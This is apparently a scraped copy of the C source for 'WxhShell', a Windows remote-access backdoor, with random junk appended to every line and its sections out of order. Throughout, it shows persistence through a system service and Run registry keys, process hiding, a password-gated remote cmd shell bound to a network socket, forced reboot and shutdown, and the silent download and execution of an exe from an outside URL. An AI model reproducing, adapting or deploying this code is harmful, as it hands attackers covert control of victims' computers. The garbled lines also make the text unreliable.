    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M@UVpQwgv  
    if(Boot(SHUTDOWN)) l0]d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -f(/B9}  
    else { x<(b|2qf  
    closesocket(wsh); $\Lyi#<  
    ExitThread(0); LX+5|u  
    } ;-mdi/*g  
    break; |VH!)vD  
    } !|wzf+V  
  // 获取shell eOl KbJU  
  case 's': { |?m` xO  
    CmdShell(wsh); tOdT[&  
    closesocket(wsh); /ONV5IkPy  
    ExitThread(0); :Waox"#=g  
    break; !3&kQpF  
  } 8|1^|B(l  
  // 退出 Eh8Pwt7C@  
  case 'x': { 2h~-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f?fKhu2  
    CloseIt(wsh); >%b\yl%0  
    break; #G^A-yjn  
    } B~WtZ-%%E  
  // 离开 Dma.r  
  case 'q': { `\$8`Zb;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pNaiXu3  
    closesocket(wsh); Y0uvT7+[hi  
    WSACleanup(); ` vk0c  
    exit(1); 7G2PMe;$m  
    break; \y Hen|%  
        } Q%=YM4;  
  } $+= <(*  
  } T8J4C=?/  
haSM=;uPM  
  // 提示信息 Z)< wv&K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q%ad q-B  
} 5OLQw(E  
  } ReB7vpd  
F}?<v8#z0  
  return; x4?10f(9=  
} ,32xcj}j)r  
f|3q^wjs  
// shell模块句柄 N_wp{4 0/  
int CmdShell(SOCKET sock) ks(SjEF  
{ @|-OJ4[5  
STARTUPINFO si; Qc-(*}  
ZeroMemory(&si,sizeof(si)); ;6;H*Y0,|E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P~$< X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *dE^-dm#  
PROCESS_INFORMATION ProcessInfo; &V=7D#L  
char cmdline[]="cmd"; Se^^E.Z,W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mO rWJ~=  
  return 0; G$WOzY(  
} ?r_kyuU  
fZryG  
// 自身启动模式 _]>JB0IY  
int StartFromService(void) Csst[3V  
{ S\C*iGeqJ  
typedef struct _kraMQ>  
{ "PWl4a&  
  DWORD ExitStatus; m)>&ZIXa  
  DWORD PebBaseAddress; T|4snU2M  
  DWORD AffinityMask; Z| 6{T  
  DWORD BasePriority; qt?*MyfV  
  ULONG UniqueProcessId; ?Hz2-Cn  
  ULONG InheritedFromUniqueProcessId; &_-](w`  
}   PROCESS_BASIC_INFORMATION; LK7Xw3  
, |E$'  
PROCNTQSIP NtQueryInformationProcess; HxwlYx,4  
-AD2I {C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |Fln8wB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C".1+Um  
fib#CY  
  HANDLE             hProcess; *:"^[Ckc  
  PROCESS_BASIC_INFORMATION pbi; ? 5|/ C  
2ypIq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); laREjN/\`  
  if(NULL == hInst ) return 0; $ @1u+w  
$~u.Wq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }uO5q42  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]KK`5Dv|,e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I."p  
U@lV  
  if (!NtQueryInformationProcess) return 0; hSV@TL  
W Ox_y,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  @|A|  
  if(!hProcess) return 0; E,"&-`/2v  
? Nj)6_&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ! p.^ITM3S  
L:f)i,S"5q  
  CloseHandle(hProcess); mV\$q@sII  
e- 6w8*!i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &y. dmW  
if(hProcess==NULL) return 0; a-0cN 9  
C8b''9t.  
HMODULE hMod; ?[1SiJT  
char procName[255]; MWwJzVL8  
unsigned long cbNeeded; 3(_!`0#F%  
)iE"Tl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BSUPS+@+  
T_hV%   
  CloseHandle(hProcess); .XH8YT42  
\_ow9vU  
if(strstr(procName,"services")) return 1; // 以服务启动 ]|oJ)5P  
.[pUuVq]  
  return 0; // 注册表启动 F'W> 8  
} Hcv u7uD  
4br6$  
// 主模块 U6j/BJT"  
int StartWxhshell(LPSTR lpCmdLine) [#b2%G1  
{ v<h;Di@  
  SOCKET wsl;  W'/>et  
BOOL val=TRUE; zQfkMa.  
  int port=0; <0j{ $.  
  struct sockaddr_in door; Ol+Kp!ocY  
pM$ @m]  
  if(wscfg.ws_autoins) Install(); @p!Q1-]=  
x mo&![P  
port=atoi(lpCmdLine); ZwJciT!_~  
sBW3{uK  
if(port<=0) port=wscfg.ws_port; ;;#nV$  
o0Gx%99'  
  WSADATA data; ;sQbn|=e"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @EZ>f5IO+  
([pSVOnIz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oXal  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rxE&fjW  
  door.sin_family = AF_INET; \+B?}P8N*l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zy)i1d  
  door.sin_port = htons(port); l)Mh2lA,=  
W<'<'z5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $$gtZ{ukQ  
closesocket(wsl); 0s%6n5>  
return 1; hPO>,j^  
} Q<=Y  
O% $O(l  
  if(listen(wsl,2) == INVALID_SOCKET) { :JV\){P  
closesocket(wsl); $h[Yzl  
return 1; j$P I,`  
} /tC9G@Hl  
  Wxhshell(wsl); zO.6WJ  
  WSACleanup(); Rc9<^g`  
mK\aI  
return 0; ;'1Apy  
r%-n*_?.s  
} TA;,>f*  
uBeNXOre  
// 以NT服务方式启动 n t HT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) " i`8l.Lc  
{ qx%jAs+~  
DWORD   status = 0; >]/dOH,A  
  DWORD   specificError = 0xfffffff; 'lQYJ0  
~ x`7)3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^, wnp@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m5gI~1(9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Oxa5Kfpa  
  serviceStatus.dwWin32ExitCode     = 0; el*9 Ih  
  serviceStatus.dwServiceSpecificExitCode = 0; TzF0/T!  
  serviceStatus.dwCheckPoint       = 0; *.8:'F  
  serviceStatus.dwWaitHint       = 0; *8-p7,D  
otnV-7)@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0vckoE  
  if (hServiceStatusHandle==0) return; _S5gcPcF"  
!; WbOnLP  
status = GetLastError(); -1mvhR~  
  if (status!=NO_ERROR) d}% (jJ(I  
{ `o-*Tr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lU$X4JBzS  
    serviceStatus.dwCheckPoint       = 0; ^x3EotQ\  
    serviceStatus.dwWaitHint       = 0; z93nYY$`Y  
    serviceStatus.dwWin32ExitCode     = status; ;&mxqY8`'  
    serviceStatus.dwServiceSpecificExitCode = specificError; W-Of[X{<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZNy9_a:dX  
    return; I9/KM4&  
  } %UG/ak%z  
)E~mJln  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =uc^433.  
  serviceStatus.dwCheckPoint       = 0; ha>SZnKD{  
  serviceStatus.dwWaitHint       = 0; <9N4"d !A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b%<jUY  
} P#bm uCOS  
]Zv ,  
// 处理NT服务事件,比如:启动、停止 yA}nPXrd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1 ypjyu  
{ jkCHi@  
switch(fdwControl) Wa, 7P2r  
{ BHclUwj  
case SERVICE_CONTROL_STOP: RAOKZ~`  
  serviceStatus.dwWin32ExitCode = 0; lko3]A3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6o(lObfo  
  serviceStatus.dwCheckPoint   = 0; o16~l]Z|f  
  serviceStatus.dwWaitHint     = 0; c}cG<F  
  { %&1$~m0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E7 L bSZ  
  } X|)Il8  
  return; B$`d&7I;D  
case SERVICE_CONTROL_PAUSE: @>Ek'~m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '\'7yN'  
  break; >3$uu+p1F  
case SERVICE_CONTROL_CONTINUE: !Sfe{/$w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &<t79d%{  
  break; 3Tw%W0q  
case SERVICE_CONTROL_INTERROGATE: S5/p=H:  
  break; Bxt_a.LthH  
}; un&>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dcP88!#5-  
} X&,N}9>B  
>vxWx[fRu  
// 标准应用程序主函数 )BpIxWd?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vVdxi9yk  
{ .S(^roM;+  
ku-cn2M/  
// 获取操作系统版本 {[lx!QF 8&  
OsIsNt=GetOsVer(); iz(m3k:w  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  %|bN@@  
7_7xL(F/  
  // 从命令行安装 9JXhHAxD  
  if(strpbrk(lpCmdLine,"iI")) Install(); `>y[wa>9r  
wRj~Qv~E  
  // 下载执行文件 *Ji9%IA  
if(wscfg.ws_downexe) { Sy:K:Z|[U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  HFv?s  
  WinExec(wscfg.ws_filenam,SW_HIDE); u{pTva  
} YpiRF+G  
J]\s*,C&  
if(!OsIsNt) { m]e0X*Kg  
// 如果时win9x,隐藏进程并且设置为注册表启动 vj(@.uU)  
HideProc(); A` =]RJ  
StartWxhshell(lpCmdLine); n }TTq6B  
} > `0| X  
else yq!CWXZ2  
  if(StartFromService()) [e1\A&T  
  // 以服务方式启动 #yX^?+Rc  
  StartServiceCtrlDispatcher(DispatchTable); do*Wx2:R  
else y]MWd#U  
  // 普通方式启动 [ns&Y0Y`t  
  StartWxhshell(lpCmdLine); ^Jn|*?+l  
@X|ok*v`  
return 0; <BQ%8}  
} %{Xm5#m  
Le_CIk 5YL  
65uZ LsQ  
-z&9 DWH  
=========================================== 83B\+]{hD  
v  F]  
rrbZ+*U  
Re7{[*Q4  
+6uOg,;  
}@3$)L%n_u  
" +OKA_b"wB  
1RmBtx\<  
#include <stdio.h> dPRtN@3  
#include <string.h> z=u~]:.1O  
#include <windows.h> +7`u9j.  
#include <winsock2.h> l;XUh9RF`A  
#include <winsvc.h> FU^Y{sbDg  
#include <urlmon.h> /Ql6]8.P  
"[Yip5  
#pragma comment (lib, "Ws2_32.lib") 1o(+rR<h9  
#pragma comment (lib, "urlmon.lib") ,I("x2  
bL+sN"Km  
#define MAX_USER   100 // 最大客户端连接数 }1l}-w`F  
#define BUF_SOCK   200 // sock buffer #3YdjU3w  
#define KEY_BUFF   255 // 输入 buffer w"yK\OE  
NT'Ie]|  
#define REBOOT     0   // 重启 O^y$8OKEi,  
#define SHUTDOWN   1   // 关机 0qOM78rE  
b$IY2W<Ln  
#define DEF_PORT   5000 // 监听端口 UnJi& ~O  
Ua}g  
#define REG_LEN     16   // 注册表键长度 //VG1@vaVX  
#define SVC_LEN     80   // NT服务名长度 #@IQlqJfY7  
n (9F:N  
// 从dll定义API Lqg7D\7j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l)|z2 H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !d/`[9jY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  <Wp`[S]r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9Y;}JVS  
<?{ SU   
// wxhshell配置信息 G1,Ro1  
struct WSCFG { q=T<^Tk#e  
  int ws_port;         // 监听端口  GE{8I<7c  
  char ws_passstr[REG_LEN]; // 口令 % E<FB;h  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3L%Y"4(mm  
  char ws_regname[REG_LEN]; // 注册表键名 w;@`Yi.WQ  
  char ws_svcname[REG_LEN]; // 服务名 goG] WGVr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bDxPgb7N=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fN~8L}!l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +SP! R[a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rjfc.l#v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4X<Oux*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FuIWiO(  
pIk4V/ fy  
}; ,q{lYX83S  
0%vixR52  
// default Wxhshell configuration QSO5 z2|  
struct WSCFG wscfg={DEF_PORT, i(dXA(p  
    "xuhuanlingzhe", B(HNB\3u  
    1, ch%Q'DR_I)  
    "Wxhshell", u0<d2Y  
    "Wxhshell", 3 ATN?V@  
            "WxhShell Service", #u!y`lek  
    "Wrsky Windows CmdShell Service", @Z"QA!OK~c  
    "Please Input Your Password: ", w;yar=n  
  1, :/n ?4K^  
  "http://www.wrsky.com/wxhshell.exe", 0tn7Rkiw  
  "Wxhshell.exe" A0'tCq]?0  
    }; cuJ / Vc  
gEX:S(1 QP  
// 消息定义模块 qdg= Imx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bvt-leA=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r>n8`W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1 8l~4"|fk  
char *msg_ws_ext="\n\rExit."; h5h-}qBA  
char *msg_ws_end="\n\rQuit."; 1"87EP   
char *msg_ws_boot="\n\rReboot..."; _Eet2;9  
char *msg_ws_poff="\n\rShutdown..."; C`=`Ce~|d  
char *msg_ws_down="\n\rSave to "; B' <O)"1w  
Cf8R2(-4  
char *msg_ws_err="\n\rErr!"; KyVe0>{_u  
char *msg_ws_ok="\n\rOK!"; w+:+r/!g  
6EW"8RG`  
char ExeFile[MAX_PATH]; L>|A6S#y8/  
int nUser = 0; / r`Y'rm  
HANDLE handles[MAX_USER]; 4jI*Y6Wkz  
int OsIsNt; Y+S~b  
5cv, >{~5  
SERVICE_STATUS       serviceStatus; t/4/G']W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5Lo==jHif  
*;~{_Disz  
// 函数声明 QZeb+r  
int Install(void); IWSEssP  
int Uninstall(void); @)FXG~C*  
int DownloadFile(char *sURL, SOCKET wsh); ?L.p9o-S0  
int Boot(int flag); la6e`  
void HideProc(void); Xqq?S  
int GetOsVer(void); c"jhbH!u4  
int Wxhshell(SOCKET wsl); ** "s~  
void TalkWithClient(void *cs); [9##Kb  
int CmdShell(SOCKET sock); `s]zk {x  
int StartFromService(void); M zA  
int StartWxhshell(LPSTR lpCmdLine); {;wK,dU  
Sxx.>gP"61  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ! 7#froh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,& {5,=  
`OF g.R|  
// 数据结构和表定义 pRaoR  
SERVICE_TABLE_ENTRY DispatchTable[] = &vGEz*F  
{ o7Z#,>`2  
{wscfg.ws_svcname, NTServiceMain}, x<j($iv  
{NULL, NULL} 5}(YMsUb  
}; (,Zz&3 AV  
1[,#@!k@  
// 自我安装 R _~m\P  
int Install(void) YQw/[  
{ `XRb:d^  
  char svExeFile[MAX_PATH]; KfN`ZZ<  
  HKEY key; Yqj.z|}Nb  
  strcpy(svExeFile,ExeFile);  \1c`)  
[~&:`I1  
// 如果是win9x系统,修改注册表设为自启动 _*-'yu8#  
if(!OsIsNt) { N*c?Er@8U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1+y6W1m^R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &Cn9 k3E\R  
  RegCloseKey(key); )y [[Se  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EKI+Dq,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W.7d{ @n  
  RegCloseKey(key); TPmZ/c^  
  return 0; ~N+/ZVo&y  
    } p{pzOMi6  
  } }<x!95  
} V-o`L`(F`  
else { #h|,GvmF<b  
lQ(BEv"2G[  
// 如果是NT以上系统,安装为系统服务 -n$rKEC4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y*TNJJ|  
if (schSCManager!=0) "=0 lcb C  
{ .$T:n[@  
  SC_HANDLE schService = CreateService Yk*57&QI  
  ( 0OoO cc  
  schSCManager, ^#6%*(D  
  wscfg.ws_svcname, =Z$=-\<x0.  
  wscfg.ws_svcdisp, kA9 X!)2w  
  SERVICE_ALL_ACCESS, z]4g`K+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s Gm(Aax*0  
  SERVICE_AUTO_START, 6d?2{_},  
  SERVICE_ERROR_NORMAL, c$UpR"+  
  svExeFile,  ]9l%  
  NULL, `0i}}Zo  
  NULL, @=| b$E  
  NULL, ;),O*Z|"v  
  NULL, %A Du[M.  
  NULL q2o$s9}B  
  ); eDMwY$J  
  if (schService!=0) 8f`b=r(a>  
  { h,RUL  
  CloseServiceHandle(schService); !B38! L  
  CloseServiceHandle(schSCManager); bT6)(lm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wy-quq03"&  
  strcat(svExeFile,wscfg.ws_svcname); jgfP|oD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7)5$1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }R] }@i~i  
  RegCloseKey(key); JV*,!5  
  return 0; EG:WE^4  
    } hF%~iqd  
  }  B*~Bm.  
  CloseServiceHandle(schSCManager); !-}*jm p<  
} UK9MWC5g9  
} o[+|n[aT)3  
9;WOqBD  
return 1; :FgRe,D  
} ,0u0 '  
x@R A1&c  
// 自我卸载 CjukD%>sde  
int Uninstall(void) oL/^[TXjH  
{ .mU.eLM  
  HKEY key; 1H@rNam&  
|~vQ0D  
if(!OsIsNt) { <$Kv^Y*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vCe<-k  
  RegDeleteValue(key,wscfg.ws_regname); ^+l\YB7pD  
  RegCloseKey(key); pD.@&J~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wk 7_(gT`0  
  RegDeleteValue(key,wscfg.ws_regname); >+LgJo R  
  RegCloseKey(key); ,$(v#Tz  
  return 0; '|R@k_nx  
  } F!cAaL1  
} Rm 1`D  
} 2g8P$+;  
else { 1X}Tp\e  
YxqQg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }EG(!)u  
if (schSCManager!=0) J7] 60H#P  
{ -"tgEC\tD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MOeLphY  
  if (schService!=0) NKh {iSLm  
  { E"yf!*  
  if(DeleteService(schService)!=0) { 9{#|sABGD  
  CloseServiceHandle(schService); n^)9QQ  
  CloseServiceHandle(schSCManager); WQC6{^/4[1  
  return 0; CXFAb1m  
  } ">&:(<  
  CloseServiceHandle(schService); YfU#kvE'  
  } twS3J)UH  
  CloseServiceHandle(schSCManager); W)~.o/;  
} ?7ZlX?D[  
} 'U0I.x(  
# Kr.!uD  
return 1; ~8{3Fc0  
} u@'zvkb@  
-{%''(G  
// 从指定url下载文件 Y6PA\7Y\  
int DownloadFile(char *sURL, SOCKET wsh) \8aF(Y^H  
{ nv{4 U}&P  
  HRESULT hr; x7@HPf  
char seps[]= "/"; ?zu{&aOX|  
char *token; I@M^Wu]wW  
char *file; ][1u:V/ U  
char myURL[MAX_PATH]; I,3!uogn  
char myFILE[MAX_PATH]; @&B!P3{f  
#L$ I %L"  
strcpy(myURL,sURL); iCKwd9?)  
  token=strtok(myURL,seps); 1hS~!r'qqv  
  while(token!=NULL) T+D]bfjr&&  
  { ,O!aRvzap  
    file=token; fMaNv6(  
  token=strtok(NULL,seps); ,quTMtk~  
  } ,?/<fxIY  
R  |%  
GetCurrentDirectory(MAX_PATH,myFILE); mK4|=Q  
strcat(myFILE, "\\"); 0z#kV}wE  
strcat(myFILE, file); `0D1Nh"%k  
  send(wsh,myFILE,strlen(myFILE),0); /D+$|k mW]  
send(wsh,"...",3,0); V~Lq, oth  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q>yt O'v1  
  if(hr==S_OK) f|0QN#$  
return 0; MT0{hsuK9  
else 6Qu*'  
return 1;  gV kI=J  
#{,IY03  
} FJ"9Hs2  
7k|(5P;  
// 系统电源模块 F k;su,]_  
int Boot(int flag) v{ Ve sf  
{ ,&G M\FTeb  
  HANDLE hToken; Bdepvc}[#  
  TOKEN_PRIVILEGES tkp; I9>*Yy5RNS  
3)SZVME1Z  
  if(OsIsNt) { p> S/6 [X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "|SE#k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +r_[Tj|Er  
    tkp.PrivilegeCount = 1; ,+.# eg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J}CK|}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); au* jMcq  
if(flag==REBOOT) { qH"a!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A o$z )<d'  
  return 0; G - WJlu  
} /vu!5?S  
else { <vDm(-i3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p]=;t"  
  return 0; A!yLwkc:5  
} z?[DW*  
  } U$uO%:4%  
  else { O]eJQ4XN<  
if(flag==REBOOT) { IIiN1 Lu,5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 06 s3 b  
  return 0; ,c l<74d  
} )A=g# D#  
else { )n@3@NV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IoOnS)  
  return 0; b%j:-^0V  
} c\MDOD%9  
} \l5:A]J  
)W|jt/  
return 1; bz]O(`  
} wkA!Jv%  
.+h pxZ  
// win9x进程隐藏模块 Pc== ]H(  
void HideProc(void) 3HR]TQ%r  
{ hATy 3*4  
ZNeqsN{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C/ VYu-p%  
  if ( hKernel != NULL ) 5T#D5Z<m  
  { >]8.xkQq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UROi.976D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q.{/{9  
    FreeLibrary(hKernel); 'fFdqsXr  
  } rxeXz<  
F:GKnbY  
return; tuV?:g?  
} #!# X3j  
Gi4dgMVei  
// 获取操作系统版本 Wb4{*~  
int GetOsVer(void) ,s&~U<Z  
{ Uy|=A7Ad c  
  OSVERSIONINFO winfo; 7#qL9+G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1R9? [RE  
  GetVersionEx(&winfo); w{x(YVS H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /,$\H  
  return 1; PGl-2Cr  
  else ER1mA:8>E  
  return 0; T<k1?h^7  
} ^oO5t-9<!  
vaJXX  
// 客户端句柄模块 h ]$?~YE  
int Wxhshell(SOCKET wsl) kA=~ 8N  
{ L b;vrh;A  
  SOCKET wsh; x]cZm^  
  struct sockaddr_in client; Am0C|(#Xm  
  DWORD myID; q%Jy>IXt  
-8 =u{n  
  while(nUser<MAX_USER) y@\Q@ 9  
{ Er1u1@  
  int nSize=sizeof(client); ~<OjXuYu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ptni'W3  
  if(wsh==INVALID_SOCKET) return 1; e`M]ZG rr  
3N0X?* (x|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <`UG#6z8  
if(handles[nUser]==0) B00wcYM<1r  
  closesocket(wsh); sxwW9_C  
else E816 YS='  
  nUser++; @EOR] ^?!]  
  } 1za'u_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yZ)aKwj%U  
zQ %z "tQ  
  return 0; 2*wO5v  
}  >fA@tUQB  
\"`>-v"h  
// 关闭 socket 7r[ %| :  
void CloseIt(SOCKET wsh) 7h#faOP  
{ 7e{X$'  
closesocket(wsh); SA+%c)j29  
nUser--; L[Yp\[#-q  
ExitThread(0); {F+M&+``  
} s?x>Yl %  
bZay/ Zkj  
// 客户端请求句柄 X >Xp&o  
void TalkWithClient(void *cs)  QXxLe*  
{ jvc?hUcLKT  
'}pgUh_  
  SOCKET wsh=(SOCKET)cs; ' raB  
  char pwd[SVC_LEN]; !eAdm  
  char cmd[KEY_BUFF]; Zjic"E1  
char chr[1]; 6SBvn%  
int i,j; y(3c{y@~X  
@f5@0A\0  
  while (nUser < MAX_USER) { !Xx<~l IC  
J6( RlHS;  
if(wscfg.ws_passstr) { l^UJes!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [[0bhmG)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $,e?X}4  
  //ZeroMemory(pwd,KEY_BUFF); H (NT|  
      i=0; x\J;ZiWwW  
  while(i<SVC_LEN) { gAr`hXO  
,8=`*  
  // 设置超时 Q),3&4pM  
  fd_set FdRead; NB W%.z  
  struct timeval TimeOut; [cQ<dVaTX  
  FD_ZERO(&FdRead); B=gsd0^]  
  FD_SET(wsh,&FdRead); |j~EV~A J  
  TimeOut.tv_sec=8; "h;;.Y8e  
  TimeOut.tv_usec=0; ,P@/=I5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $D/bU lFx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TI[UX16Tz1  
U%^eIXV|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I)XOAf$6  
  pwd=chr[0]; R7B,Q(q2-  
  if(chr[0]==0xd || chr[0]==0xa) { c.8((h/  
  pwd=0; "0'*q<8  
  break; \>Ga-gv6/  
  } 5@UC c  
  i++; uh5Pn#da^  
    } K(Q]&&<  
x!C8?K =|  
  // 如果是非法用户,关闭 socket rW FcIh5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {7=WU4$  
} 'ybth  
$W/+nmb)@K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ."IJmv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i+)}aA  
[*9YIjn  
while(1) { gv#c~cX]  
. Z*j!{@c  
  ZeroMemory(cmd,KEY_BUFF); # cN_y  
_)zmIB(}m  
      // 自动支持客户端 telnet标准   \o:ELa HY  
  j=0; '_.q_Tf-^  
  while(j<KEY_BUFF) { 2JiAd*WK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); . 0 s[{x  
  cmd[j]=chr[0]; v@fe-T&0  
  if(chr[0]==0xa || chr[0]==0xd) { <?LfOSdMs^  
  cmd[j]=0; =f4[=C$&`  
  break; )D[ "M$ZA^  
  } 4{;8:ax&w  
  j++; (odR'#  
    } h"%|\o+3  
yV:EK{E  
  // 下载文件 :DdBn.  
  if(strstr(cmd,"http://")) { ]6t]m2~\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yn/?= ?0  
  if(DownloadFile(cmd,wsh)) M5GY>3P$c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f0 uUbJ5  
  else eVw\v#gd  
